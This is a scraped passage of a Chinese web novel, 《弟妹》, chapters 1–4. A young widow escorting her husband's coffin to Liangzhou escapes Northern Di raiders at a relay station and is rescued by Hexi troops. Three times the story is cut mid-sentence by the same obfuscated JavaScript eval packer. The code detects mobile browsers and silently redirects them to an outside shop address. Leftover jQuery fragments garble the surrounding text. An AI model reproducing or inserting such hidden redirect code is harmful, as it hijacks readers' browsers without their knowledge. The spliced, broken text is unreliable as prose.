《弟妹》 1. 第 1 章 七月流火,落霞满天。 乌鞘岭脚下的黑松驿,一改平日喧杂的迎来送往,只剩驿夫们兀自忙进忙出。 驿长赵显搓着双手,在门口来回踱着步,黑黢黢的脸上明显带了几分焦灼之色。 按着先前的消息,西平侯府的车队,应是今日午后抵达,但眼下太阳就要落山,还未看到车队的影子。 就在这时,一道马蹄声从远处传来,赵显踮脚一看,却见是自己派出去的驿夫,正策马疾驰归来。 吁—— 马儿在驿站门前停下,那驿夫跳下马背,三步并作两步走到赵显跟前,拱手气喘吁吁道:“大人,侯府的马队已至中路,还有两炷香的工夫便到。” 赵显闻言,赶紧转身吩咐身后的驿夫:“快快快!去将客房厨房马厩再仔细检查一遍,不得有任何疏漏。” 身后人齐齐应“诺”,哗啦啦回院内去干活,只余两个驿夫跟在他身旁,继续立在门口恭候贵客驾到。 赵显整了整衣袍阔袖,望眼欲穿似的朝官道上看去。 虽然他只是个九品的小驿官,但黑松驿位于凉州门户古浪峡,通往西域的商路经此而过,来往的官宦商贾不算少数,他也接待过不少达官贵人。 然而今日要接待的,却是他上任这几年,最尊贵的一批——护送西平侯棺椁回凉州的车队。 西平侯,先凉王和惠心公主的幼子,现任凉王的胞弟。 而凉王乃是大宁朝唯一的异姓王。 大宁建朝初期,西北境饱受北狄祸患,百姓民不聊生。及至五十年前,沙狄首领莫邪逐心率饱受欺凌的族人脱离北狄投奔大宁,与大宁边军共同抵抗北狄,最终将北狄驱逐凉州千里之外。 先帝念其功劳,封莫邪逐心为凉王,镇守河西,世袭罔替。此后,莫邪逐心带领时代流离的族人,在凉州安居。 为表忠心,莫邪逐心改汉姓李,取名李沛,又为长子李旭求娶惠心公主。 在李沛李旭两代凉王的殚精竭虑之下,河西军强马壮,百姓安居乐业,几十年来,始终牢牢将北狄的铁蹄挡在河西之外。 八年前,先凉王李旭过世,十八岁的长子李赟袭爵,是为第三代凉王,坊间称作小凉王。与此同时,景明帝得知胞妹惠心公主因丧夫忧思过度,特召其回京城休养。 是以,惠心公主携次子李悆回到京城长安长居。 这一去便是八年。 及至一个月前,已为西平侯的李悆病逝,侯夫人宋氏遵其遗愿,送夫君棺椁回故乡凉州安葬。 车队即将途径黑松驿,在此下榻休整。 这对赵显这个小小驿官,无异于一桩大差事,收到消息的黑松驿早早便开始准备,这两日更是为接待侯府车队,将驿站提前清场。 赵显正翘首以盼着,身旁的驿夫忍不住小声嘀咕道:“听闻侯夫人乃是宋太傅孙女,才貌双全,是京城双姝之一,也不知是真是假?” 赵显脸色一沉,轻斥道:“闭嘴!侯夫人其实你能妄加议论的!” 驿夫瑟缩了下,老老实实收声。 赵显嘴上虽义正言辞,心中却也好奇。 他虽身处这边陲,消息却并不闭塞,络绎不绝的商客,在这驿站里口耳相传了各种各样京中轶事。 关于西平侯李悆的消息,自是不在少数。 听闻凉王这位幼子天资聪慧,只是从小体弱多病,去了京城后,曾拜于宋太傅门下,与太傅孙女宋三娘子结下青梅竹马之情。 李悆十八岁那年,被皇帝舅舅封为西平侯,但身子却是每况愈下,太医断言其时日无多。饶是如此,宋三娘子仍执意嫁给了他。 果不其然,两人去年岁成亲,不过一年,西平侯便病逝,年纪轻轻的侯夫人成了寡妇。 关于那宋三娘子,赵显确实不止一次听来往商客说过,乃是高门贵女,与另一位美人,并称京城双姝。却对西平侯这个病秧子一往情深,不离不弃,二九年华便丧夫守寡,委实令人扼腕。 正想着,隐约有阵阵马蹄,由远及近传来。 赵显立刻挥走杂念,打起精神,目不转睛望向蜿蜒官道的东面。 须臾之后,果然见落日之下的峡谷中,一队车马轰隆隆朝驿站行来。 打头的马车上,一面写着“凉”字的旌旗,迎风飘拂着。 正是送西平侯魂归故里的车队。 约莫一刻钟的工夫,浩浩荡荡的车队终于停靠在黑松驿门前。 一个腰挎佩剑武将模样的男子从打头的马车上跳下,阔步走上前,拿出一块令牌朝赵显几人举起。 赵显忙作揖高声道:“黑松驿恭迎侯爷归乡!” 男子摆摆手,走到后面一辆马车旁,朝车厢行了个礼:“夫人,到了。” 赵显和身旁两个驿夫齐齐朝那马车看去。 只见车厢从里面被打开,先是一个手握佩剑,身姿矫捷的少女由车上轻盈跃下,然后抬手为车内的人打起帘子。 紧接着,从车内伸出一只白皙修长的玉手,轻飘飘搭在少女肘上,随之,一道身穿素白衫裙,头戴白色帷帽的身影,从里探出来,缓缓下车。 赵显忙上前作揖道:“小的见过侯夫人!茶膳热水已经备好,还请夫人移步驿馆内。” 女子除了一身素白,身上也无任何珠玉,一眼便看得出是新寡之身。 她抬头隔着帷帽薄纱看了眼黑松驿大门,淡声开口:“有劳驿臣了!” 嗓音虽带了些舟车劳顿的疲惫,但仍旧不掩清灵。 赵显躬身做了个有请的手势,亲自在前面带路,又吩咐驿夫们安顿车马。 引着人到了客房,赵显还想表现一番:“侯夫人……” 却被那握剑婢女打断:“驿官大人,夫人喜清静,屋中无需人伺候,差人将膳食热水送到门口就行。” “明白!”赵显忙拱手道,“那小的不打扰夫人了。” 说着,毕恭毕敬退出房门。 槅扇门咯吱一声阖上,那坐在榻上的白衫女子,伸手将帷帽摘下,露出一张略显风尘仆仆,但依旧清丽绝伦的芙蓉面。 白芷走过来道:“娘子,这黑松驿距离凉州城已只剩一百多里,最迟明日这个时候,我们便能抵达城中。” “嗯。“明宜轻笑着点点头,又忍不住喟叹一声,“舟车劳顿一个月,终于要到了。” 白芷也舒了口气,又想到什么似的笑道:“都说河西一带,民风彪悍,常有商队被劫掠,咱们这一路倒是连盗匪的影子都没遇到,可见凉王在河西威望十足。” 明宜也笑,点头随口道:“是啊,三代凉王经营河西这数十载,北狄多次进犯,每次都以兵败告终,凉王名号在河西自然是响当当。” 白芷眨眨眼睛,兴奋地叽叽喳喳道:“如今小凉王比起两位先凉王,在武力上那是更胜一筹,十五岁就只身杀入千军中取下敌将首级,袭爵第二年,北狄见他年轻,举兵来犯,他亲自领兵出征,玉门关一战,屠杀北狄五万人,可谓是尸横遍野,如今北狄对他是又惧又恨。” 明宜微微愣了下,又不以为意地笑了笑:“京城与凉州相隔千里,许多事不 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17037465|194636||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 过坊间传闻,连侯爷都不知真假,你如何能全信?” 白芷口中的小凉王,正是她夫君李悆的兄长李赟。 她未曾见过她那位夫兄,在坊间传闻中,那是一个冷酷无情杀人如麻的嗜血战神;而在李悆口中,又是一个爱护弟弟的好兄长。 但京城坊间离凉州太远,李悆又与兄长多年未见。 到底哪个才是真正的小凉王,谁又能真正知晓? 白芷对她的话颇以为然,点点头:“这倒也是。” 驿夫很快送来茶水和膳食。 白芷去门口取来,放在榻上小几。 这黑松驿驿官办事确实周全,不仅房间整洁舒适,膳食茶水显然也用了心思,在这西北边陲之地,竟准备不少京城口味,甚至还有一例清蒸鲜鱼。 用完晚膳,已是月上柳梢。 明宜沐浴更衣,正要上床歇息,忽然又想到什么似的,来到窗牖旁,将窗子推开,朝下方看去。 那装着棺椁的马车,正停在院中。 江寒像往常一样,带着几个侍卫守在旁边。 李悆病逝在酷暑时节,从京中出发时,正是三伏天。她原本担心尸身会在路途腐烂,但这一月下来,那棺椁并无半丝异味,想来太医和国师保存尸身的法子确实有用,李悆的尸身应该还完好无损。 思及此,明宜暗暗舒了口气。 明日就能入凉州城,她终于要完成阿玉遗愿,送他魂归故里入土为安。 “娘子,早点歇息吧,明日咱们好早点启程,快些到凉州城。” “嗯。” 明宜放下窗,来到床上。 白芷替她打上帷帐,灭了桌上烛火,自己则在屋中榻上睡下。 因赶了一整日路,明宜也着实有些疲惫,很快便在这陌生驿馆的床上沉沉睡去。 然而正在梦酣之时,外面忽然响起一阵喧杂将她吵醒。 明宜蓦地睁开眼睛,清晰的怒吼声,让她意识到自己并非做梦。 她猝然起身,撩开帷帐唤道:“白芷——” “娘子,怎么了?”白芷迷迷糊糊睁眼。 明宜道:“外面好像出事了。” “我去看看。”白芷这会儿也终于清醒过来,赶紧抄起身旁佩剑,从榻上一跃而下,又拿出火折子点燃一只蜡烛。 原本黑暗的屋内,在烛光下变得影影绰绰。 白芷刚小心翼翼将门打开一点,江寒的声音蓦地从门口传来。 “夫人,有北狄贼人来冲撞驿站!你在屋中别动,我就守在你门口。” 明宜还未说话,白芷已经大惊失色轻呼道:“这里已是凉州地界,怎么会有北狄人闯进来?他们是要劫掠?” “尚不清楚!”江寒应声道,“幸而驿馆做了万全准备,他们还未能破门而入。” 明宜下床,走到门后问道:“有多少人?” 江寒回道:“大概百来人。” 明宜眉头蹙起,这驿站只有二十来人,他们侯府车队也不过数十人,加起来也就百人,而车队中还有十来个仆妇,对上这么多北狄人,只怕抵抗不住。 若是劫掠还好,大不了将财物给他们。 但这些北狄人冒险潜入凉州境内,还专门找上黑松驿,只怕不是来劫掠这么简单。 她忽然想到什么似的,疾步走到窗边,打开窗朝下方看去,江寒带人来了楼上,守在院中的侍卫只剩十来人。 她猛得将窗户阖上,转身朝门外道:“江寒!你快下去守好侯爷棺椁,决不能让这些狄人毁坏了!” 2. 第 2 章 江寒却是沉声回道:“夫人,我的责任是保护你的安全。” 他本是西平侯李悆的贴身侍卫,李悆病逝后,他要保护的人便成了侯夫人明宜。 江寒武艺高强,性子却有些木讷执拗,明宜只得与他解释:“黑松驿离凉州最近的营地不过几十里地,北狄人冒这么大风险进来,绝不是为了劫掠钱财这么简单,只怕他们的目标就是侯爷的棺椁。” 门外的江寒和门内的白芷异口同声惊讶:“侯爷棺椁?!” 明宜继续道:“北狄人被凉州军压制这么多年,对凉王深恶痛疾,侯爷是先凉王之子,又是小凉王唯一的胞弟。若是在侯爷回凉州安葬之前,毁掉他棺椁和尸身,这无疑是给小凉王乃至整个凉王府的巨大侮辱。” 说话间,外面的喧嚣更甚,只怕大门很快就要被冲破。 明宜原本冷静的声音也多了几分急促:“江寒!你快去院中守着侯爷棺椁。” “那夫人你……” 明宜道:“你不用管我,我自己会想办法躲好。” 江寒迟疑片刻,还是带人匆匆跑下了楼。 明宜回床边穿好衣服。 白芷忧心忡忡道:“娘子,江寒不在,万一狄人冲上来,我只怕护不住你。” 明宜道:“这是驿馆最好的房间,狄人肯定能猜到我住这里,我们得马上转移。” 这些北狄人的目标若真是西平侯棺椁和尸身,那定然也不会放过自己这个侯夫人,她得想办法自保,不让守卫棺椁的江寒分心。 刚刚栓了门,正要拿桌椅将门抵上的白芷闻言,恍然大悟一般,忙不迭点头:“没错!还是娘子考虑周全。” 门口还留着两个侍卫,明宜招呼两人继续守着,自己则和白芷摸黑下了楼。 江寒已派了人手,去助驿站守住大门,院中此时已只剩下严阵以待的二三十人。 眼下已过子时,微弱的灯笼光芒下,只隐约看得出每个人的大致轮廓。 驿站内的牲畜因外面的喧杂之声受了惊,鸡鸣狗吠马儿嘶鸣不绝于耳,越发显得一片混乱。 “娘子……” 白芷正要开口仔细询问明宜打算,却被对方抬手制止:“别出声,我们悄悄去躲起来!” 一旦让府中这些侍卫瞧见自己的行踪,待狄人冲进来,这些侍卫必定会下意识去防守自己所在的位置,反倒会让自己暴露。 因不熟悉驿站地形,明宜只能循着马儿的动静,先摸黑去到马厩。 马厩自然不是最好的藏身之地,但这些狄人一时半会儿应该不会想到,自己一个侯夫人会躲在这等腌臜之地。 况且这马厩与驿馆院子相隔不远,能听清动静,又有一条道路直接通往驿站外。 若江寒那边当真失守,自己还能立刻骑马奔逃,至少还有一线生机。 主仆二人刚钻入马厩,躲在成堆的草料之后,便听到外面的破门声。 北狄人到底是闯了进来。 喊打喊杀的吼叫伴随着兵戎相交的响动,将这峡谷深沉的夜色彻底打破。 白芷紧紧握着手中剑,心惊胆战开口:“不知这些狄人武力如何?江寒他们能否守住?” 明宜亦是心如擂鼓。 舟车劳顿一个月,终于要将阿玉送回故里安葬,若是在最后这个驿站让狄人毁了棺椁辱了尸身,自己功亏一篑不说,阿玉泉下有知又如何能安息? 可她眼下什么都做不了,只能默默祈祷江寒能守住。 随着狄人破门,整个驿站充斥着令人心惊胆战的痛呼嘶嚎惨叫。 明宜生长在京中高门,勾心斗角见过不少,但这般刀光剑影血肉横飞的场景还是第一次遇到。 光是听声音,便能猜到今晚将会有多惨烈。 明宜想得没错,那厢狄人破门后,便直直往驿馆内闯。 赵显这个驿官勉强算得上是一个武官,手下驿夫也都是练家子,但今晚这些北狄人,显然不是普通百姓,而是训练有素的兵卒,个个武艺高强。 打头的北狄男子,髯须满面,身高八尺,着一身甲胄,手握弯刀,耳朵上的银耳圈,在月光下闪闪发光。 腰间革带环佩玎珰,可见身份不一般。 此人正是北狄拔延部的叶护,当今的漠北第一勇士拔延鲁刺儿。 这些年拔延部在北狄处境尴尬,前年鲁刺儿成为叶护夺下第一勇士之名后,便一心想寻机会立大功。 而对于北狄来说,最大的功便是大宁凉州,或者说大宁凉王。 只是如今的小凉王李赟,治兵本事犹甚其祖父呼延逐心,别说是他们拔延部,就是举全北狄之力,三五年内只怕也无可能攻破凉州。 他曾率兵偷袭过凉州一次,但还未踏入边界,便被李赟率领的河西军打得落花流水,死伤数千。 自此,他将小凉王李赟视为自己一生之敌,眼下他没有破河西军的兵力,那便只能寻机会给小凉王使点绊子,让他吃点苦头。 皇天不负有心人,就在半月前,他忽然收到西平侯病逝,即将回凉州安葬的消息。 西平侯乃是李赟唯一胞弟,若是劫走棺椁辱其尸身,无疑是对凉王府小凉王赟本人的巨大羞辱。 因而得到消息后,他立刻率领百余精锐部下,快马加鞭潜入凉州,绕道蛰伏在这乌鞘岭中的驿站旁,静待侯府车队抵达。 今晚终于让他等到。 一想到凉王唯一胞弟尸首将在凉州境内被自己毁掉,他就不由得生出一股快意。 当然,他今晚目的,不仅仅是西平侯棺椁,还有那位新寡的侯夫人。 听闻西平侯夫人乃是大宁京城数一数二的美人,若掳了凉王府二夫人去北狄,更是能让小凉王颜面无光。 光是想一想,鲁刺儿便觉这趟冒险实在值得。 一道道身影,在他势如破竹的弯刀下,鲜血四溅。 赵显见势不妙,赶紧往馆内撤去,惊慌失措般跑到江寒身旁,气喘吁吁道:“江侍卫,来者不是普通北狄人,打头那人更是武功极高,只怕以我们这些兵力,等不到救兵赶来。” 听到北狄人来犯时,他便派了一名驿夫从后门出去,赶到最近的兵营求支援。 不说途中会不会有北狄人埋伏,就算顺利搬来救兵,至少也是一个时辰后。 按着现在这架势,能不能撑一炷香的工夫都难受。 他做这小小驿馆几载,做梦都没想到,还未得到升官机会,便要横死在任上。 江寒听了他的话,不由得浓眉紧蹙,厉声道:“西平侯府护卫听命!我等拼尽性命,也要守护好侯爷棺椁!绝不让北狄人染指一丝一毫。棺在人在,棺损人亡!” 众侍卫齐齐应声:“棺在人在,棺损人亡!” 士气一时大增。 原本慌乱无措的赵显,不由得也生出几分义无反顾的振奋之情。 马厩中的明宜,自然是听到了院中动静,却也意识到今晚不会这么好过。 她抬头看了眼空中那枚细镰刀似的弯月,只觉那月辉都被染上了血色。 打打杀杀的响声,很快由远及近。 是北狄人成功闯进了馆内院中。 “要想活命,就赶紧从棺椁前让开!” 一道张扬的声 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17037466|194636||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 音,在夜空中响起。 明宜的心砰砰直跳。 “娘子,怎么办?”白芷紧紧攥住她的手,声音已经开始发抖。 明宜没出声,只继续听着院内动静。 “侯爷棺椁岂是你们这些粗鄙蛮人能碰的?!”是江寒冷厉的声音。 “找死!”只听那道张扬男声,冷哼道,“给我杀!” 激烈的打斗声再次响起。 白芷的呼吸也随之变得急促。 “叶护大人,楼上没有人!” “什么?”鲁刺儿随手砍倒一人,不悦地蹙起眉头,怒吼着吩咐,“再去找!掘地三尺也要找到西平侯夫人!” 白芷听到自己的名字,心中愈发惊惶。 果不其然,这些北狄人不仅要损毁阿玉尸身,还要自己这个侯夫人。 因为没找到侯夫人,鲁刺儿越发暴躁,瞥见死守在棺椁前的江寒,见对方剑法高明,顿时冷哼一声,扬起弯刀飞掠上前。 “想不到侯府还有这样的高手,让我鲁刺儿来会会!” 铮—— 长剑和弯刀在空中猛然碰撞,发出一声带着火花的刺耳巨响。 江寒早已看出此人绝非等闲之辈,不仅有着寻常狄人没有的矫捷,力度也远超常人,这一刀砍下来,饶是自己顺利挡下,还是震得手腕发麻。 不等他再次出手,鲁刺儿又迅速飞掠后退,让其他人继续进攻,显然是打算先耗尽他体力。 江寒此刻一心死守侯爷棺椁,来一个他杀一个,来一对他杀一双,再厉害的高手,要动他身后的棺椁,就必须从他尸体上踏过去。 北狄精兵一个又一个倒在他那把利剑之下,但侯府护卫倒下的更多。 随着守在棺椁周围的人越来越少,江寒的剑也慢慢变得迟钝。 鲁刺儿其实也不敢太多久留,但他再次听到手下报告说没寻到侯夫人时,心中愈发急躁。 他不愿再恋战,拿下背后长弓,抽出腰间利箭,上弦对上还在棺椁前奋力血战的男人,冷喝道:“好汉子,我鲁刺儿送你一程!” 江寒看到夜色下对着自己的那长弓,蓦地睁大眼睛。 咻—— 第一根箭射出,在空中划的凛冽响声,昭显出这利箭的威力 已经受伤的江寒,猛得将头一偏,扬起长剑狠狠劈下,电光火石间,那离弦之箭在他面前断开掉落。 鲁刺儿朗声一笑:“好剑法!”说着又从箭袋中抽出三根箭,“那就看你有没有本事再挡掉我的三箭连发!” 江寒望着那上弦的三根箭。 北狄乃游牧而生,人人都擅箭术,但能三箭连发的始终是少数,而这人显然精于此道。 他现在的状况,顶多能抵住第一发。 而一旦自己倒下,这棺椁也就守不住了。 江寒看着那直直对着自己的弓箭,额间冷汗淋淋。 就在他以为自己今晚无法守住侯爷棺椁时,不远处的马厩忽然传来一声马儿嘶鸣。 紧接着一道清灵的女声传来:“江寒,我先走一步,你拖住这些狄人,守住侯爷棺椁!” 江寒眸光一跳。 鲁刺儿手上的动作,也因为这突如其来的女声而微微一抖,原本的三箭连发,只顺利射出第一支。 因为力道略失偏颇,毫无意外地被江寒挡下。 鲁刺儿正要再射,却听到哒哒马蹄正朝驿站外跑去。 他知道逃出去的是那位西平侯夫人。 他看了眼依旧死守在棺椁前的江寒,略作犹豫,蓦地咬牙收回长弓,厉声吩咐道:“随我去追!” 3. 第 3 章 鲁刺儿之所以放弃驿馆里的西平侯棺椁,转而去追侯夫人,乃是他很清楚,黑松驿如此大动静,附近的河西军只怕很快就会抵达。 这侯府侍卫个个都如死士一般,要拿下棺椁,只怕还得花一会儿功夫,而这一会儿的功夫,足以让那侯夫人逃出生天。 是以,在西平侯的尸身和活生生的侯夫人之间,他最终选择了后者。 鲁刺儿留了数人继续缠斗,自己则率十余人去取了马,飞快朝那奔逃的女人追去。 与此同时,骑在马背的明宜,用力甩着马鞭,在夜色中朝凉州城方向飞奔。 方才她意识到江寒已经抵抗不住,而一旦江寒失守,阿玉棺椁势必会被毁坏不说,犹藏在驿站的自己,想来也跑不掉。 于是她选择赌一把。 在江寒失守前,自己骑马将那北狄头领引开。 就算自己跑不掉,至少还有机会让西平侯尸身周全。 她赌对了。 那北狄首领果然放弃与江寒缠斗,朝自己追了过来。 明宜是京中高门千金,并没有太多骑马机会,听到身后传来的马蹄,她顾不得太多,只奋力挥动马鞭,抓紧辔绳,任由身体颠簸,惟愿身下马儿跑得快些,再快些。 细细的月光映照在幽深峡谷,哒哒马蹄回荡山间。 马儿似乎知道危险降临,一边嘶鸣一边狂奔。 而身后的马蹄到底是越来越近。 “侯夫人——”张狂如鬼魅的声音从身后传来,“再不勒马,我就要射箭了!” 那声音明宜很熟悉,正是先前那北狄首领。 她哪里敢停? 或许再坚持片刻,前方就能迎上河西军。 “驾——” 明宜用力扬鞭,清灵的声音回荡在深夜的峡谷间。 鲁刺儿见月色下那道身影,不仅没停下,反倒骑得更快,心下冷哼,松开握着缰辔的手,取下身上弓箭。 他坐在颠簸马背,如坐平地,手中弓箭也丝毫不受影响。 他从小在马背长大,是北狄最好的弓箭手。 岂能任由一个大宁千金骑马逃脱? 眯眼、拉弦、引箭。 咻的一声,那利箭在黑夜中射出,直直射中前方百米外的马臀。 中箭的马儿吃痛地扬起前蹄,爆发出一声尖锐的嘶鸣。 原本明宜还死死拽着辔绳,但很快意识到失控的马儿,要朝旁边河谷冲下去,她只能一咬牙,跳下马背。 果不其然,她身子刚落地,那马儿就噗通滚入河谷。 明宜在地上滚动了两圈,勉强稳住身子,也顾不得身体疼痛,正要起身拔腿奔跑。 一柄冰冷的刀刃忽然抵在了她后脖颈。 明宜下意识转头,却见一点火光亮在自己眼前。 是那人点燃了火折子。 也叫她看清了夜色中须髯如戟的一张面孔。 而相较于明宜脸上的惊惶,鲁刺儿则是双眸一亮,勾唇愉悦笑开。 此时的明宜一身素白衣衫,不施粉黛,鬓发散乱。 但月辉之下,依旧可见明眸皓齿,肤如凝脂,一双黑漆漆的杏眼,因为惊惶而微微睁大,便有了几分楚楚可怜。 “听闻侯夫人乃是大宁京城数一数二的美人,如今一见,果然名不虚传!” 鲁刺儿见惯了族中豪迈粗壮的女子,乍然见到春水般柔美的女郎,心中顿时涌上一股无法抑制的悸动。 他刚刚果然没错,一具棺椁里的死尸,如何比得过活色生香的美人。 他朗声笑着将弯刀收起,道:“在下北狄拔延部叶护鲁刺儿,见过侯夫人。” 明宜惊骇一般盯着眼前说着汉话的北狄人,面上一言不发,脑中却生出一股奇怪。 此人虽须髯满面,但那双眼睛却狭长漆黑,说的汉话更是带着几分京城口音。 但现在不是想这些的时候,而是该如何脱身。 她手扶着地面,正绞尽脑汁之时,地上好似有什么动静。 是有人来了—— 明宜心中一喜。 而眼前这灼灼盯着自己的北狄人显然还未察觉。 “你……你想干什么?”她高声开口,以此掩盖那由远及近的动静,又抓起地上的沙石,朝鲁刺儿丢去。 鲁刺儿轻飘飘避开她的“攻击”,勾着唇角,伸出粗粝的大掌,捏住对方下颚,轻笑道:“侯夫人,此地不宜久留!在下怜香惜玉,不忍对夫人动粗,夫人若是不想受伤,还是老老实实跟在下乘马离开。” 感觉到地面微微震动的明宜,心中已经有了几分笃定,她趁着对方不注意,猛然挣开钳住自己下巴的手,又奋力朝对方踢去。 鲁刺儿心下一惊,没想到看似楚楚可怜的高门千金,竟有这般反应,自己虽轻而易举便避开对方攻击,却还是让对方逃开了半丈远。 他越发来了兴致,朗声笑道:“夫人看着柔弱,倒是有几分烈性!那就别怪在下不客气了!” 言罢,猛得上前,准备将明宜攥住。 然而他还未碰到女人,便忽然觉察不对。 作为北狄第一勇士,鲁刺儿的反应自然很快。在那支从黑暗中飞射出来的箭刺中自己前,猛得别开身体,成功躲开。 因为猝不及防,他心中不由得生出一股惊骇,下意识抬头朝前方看去,果然看到一队兵马,正于黑沉沉的夜色中疾驰而来。 他低低咒骂一句,不敢耽搁,再次试图上前将明宜捉起。 然而下一刻,便又是几只利箭飞射而来,箭箭都射中他所在位置,若不是他反应快,就地打了几个滚,那几只插入地上的箭,只怕早已射穿他的身体。 “叶护——”身后马上的部下高声提醒。 鲁刺儿看了眼已离他丈余远的女人,以及那钉在两人之间的几只长箭,虽然心有不甘,却也只能咬咬牙,飞身往后方马匹奔去。 一声马鞭扬下。 他冷哼一声,咬牙切齿道:“侯夫人,咱们后会有期!” 说罢,便领着部下 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17037467|194636||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,朝来时方向疾驰而去。 明宜见一行人消失在夜色中,重重舒了口气。 只是这口气还未舒下,哒哒马蹄声便响彻在耳边,一队兵马从自己跟前疾驰而过,扬起铺天盖地的尘土。 明宜惊慌失措往路边让开几步,下意识抬头朝马背上的人看去。 这些骏马速度太快,她只来得及瞥到一眼那打头之人。 而夜色深沉,她并不能看清人模样,只隐约看到一双闪着寒光的眸子,似是朝自己看了一眼。 虽然只是匆匆一瞥,还是让她心头猛得一震。 因为这黑暗中的眸子,与她在夜色中见过的狼眼别无二致。 充满着神秘与野性,让人不寒而栗。 只是她还未反应过来,那双眼睛已随着主人,消失在夜色中。 明宜听着这急促的马蹄,惊魂未定地坐好。 而下一刻,便又瞥见后方几匹马儿在自己不远处停下。 “侯夫人?三娘子?”一道清冽嗓音传来,语气带着点试探。 明宜转身朝来人看去,去见是一个穿着白色圆领锦袍,长身玉立的年轻男子,正带着几人往自己这边小跑过来。 她赶紧站起身。 待人走近,她终于借着月色,隐约看清来人面容。 剑眉星目的一张脸上,几分惊魂未定,几分吊儿郎当。 明宜曾经见过这人,还不止一次。 只是那时是在京城惠心公主府和西平侯府。 如今在这边陲之地,她便一时有些不敢确定。 “齐王殿下?” 男人走上前,似乎是重重舒了口气,朝她拱了拱手,笑嘻嘻道:“三娘子,好久不见了。” 明宜反应过来自己没认错人,赶紧行礼道:“见过齐王殿下。” 齐王周子炤,大宁五皇子。 周子炤赶紧伸手扶了扶她,问道:“三娘子,你没事吧?” 明宜摇头,又作了一揖:“多谢殿下关心,妾身无碍。” 周子炤摆摆手,似是不喜欢她这般客气,大喇喇道:“这是凉州,不是京城,三娘子不必拘礼。” 明宜轻笑了笑,心中虽奇怪齐王为何在此,却并未多问,只指了指刚刚那兵马消失的方向,问道:“那是河西军?” 周子炤点点头:“王府收到消息说北狄贼人来犯黑松驿,表哥亲自带兵来救援。” 明宜微微惊讶:“刚刚追去的是大哥?” “没错,能隔百米之外射出刚刚那几箭的,凉州之内也只有表哥能做到。”周子炤轻笑道,“三娘子大可放心,表哥亲自出马,绝不会让那些北狄人逃出凉州。” 明宜松了口气,忽然又想到什么似的,道:“黑松驿还有北狄人,大哥去追人,那我们得马上回驿站支援。” 周子炤闻言,顿时拍拍脑袋:“差点忘了正事。” 说着飞快转身上马,又让手下兵卒让出一匹马儿给明宜。 一行人浩浩荡荡朝黑松驿飞奔而去。 4. 第 4 章 黑松驿早已血流成河,一行人赶到时,江寒和赵显带着仅剩的十来人和北狄贼子还在胶着之中。 所有人都已是伤痕累累,但仍旧死死守着院中棺椁。 他们守的不仅是西平侯的尸身,更是凉王府的尊严。 好在待周子炤率领数十凉州精兵抵达,局势立刻扭转。 驿馆内十来个北狄军顿时被打得溃散。 明宜在京城时听闻过河西军凶悍残忍的作战风格,但因李悆的关系,她本以为是坊间以讹传讹。 如今亲眼所见,才知传言不虚,这些河西军,个个手起刀落,刀刀毙命,绝不含糊。 眼见着月色下头颅横飞,明宜忍不住轻呼一声,一旁的周子炤也是捂着眼睛,倒吸着冷气,啧啧叫道:“刀剑无情,刀剑无眼,三娘子莫看!” 明宜到底是睁眼看着一道道身影惨叫着倒下。 须臾之后,惨叫终于停歇。 “小的参见齐王殿下!” 赵显得知来人是齐王,不顾身体上的伤,一瘸一拐上前行礼。 周子炤蹙眉道:“驿臣辛苦了!”说着摆摆手吩咐随性的手下善后。 明宜深吸一口气,越过满地血肉模糊的尸首,走到捂着胸口跌坐在地江寒跟前,忧心忡忡问道:“江寒,你怎么样?” 江寒摇摇头,喘着粗气道:“夫人不用担心,小的无性命之虞。”说着抬手摸了摸身后的车厢,道,“多亏夫人引走那狄人首领,江寒才幸不辱命,守住侯爷棺椁!” 那车厢虽被刀剑损毁,但里面的棺椁却完好无损。 明宜见状,也是暗暗舒了口气。 只是望着院中满地尸首,到底是五味杂陈。 周子炤吱哇叫着走上前,先是吩咐手下带江寒去疗伤,自己则立在车边,身手抚了抚那金丝楠木的棺椁,心有余悸般喟叹一声:“阿玉自小体弱多病,没想到回故里安葬,还遭此一劫,差点尸骨无存。三娘子不顾性命,也要护住棺木周全,阿玉泉下有知,定然感动万分。” 他刚刚已从赵显那得知详情,不由得对这位宋家三娘子刮目相看。 从前他只以为她是秀外慧中的高门千金,与其他千金无甚区别,但显然并不只是如此。 明宜苦笑:“北狄人想要折辱的不只是阿玉尸身,而是凉王府甚至大宁的颜面,这比我的性命更重要。” 周子炤笑道:“那也得有三娘子这等胆识,才没能让北狄人得逞。” 明宜道:“还得多亏凉王和殿下赶来得及时,不然妾身只怕已被那北狄人掳走。” 周子炤咧嘴笑道:“我也就是来凑个热闹,还得是表兄。” 就在这时,白芷惊慌失措跑进来,高声叫道:“娘子——” “白芷!” 白芷疾步上前,紧紧攥住明宜的手:“娘子,你没事吧?” 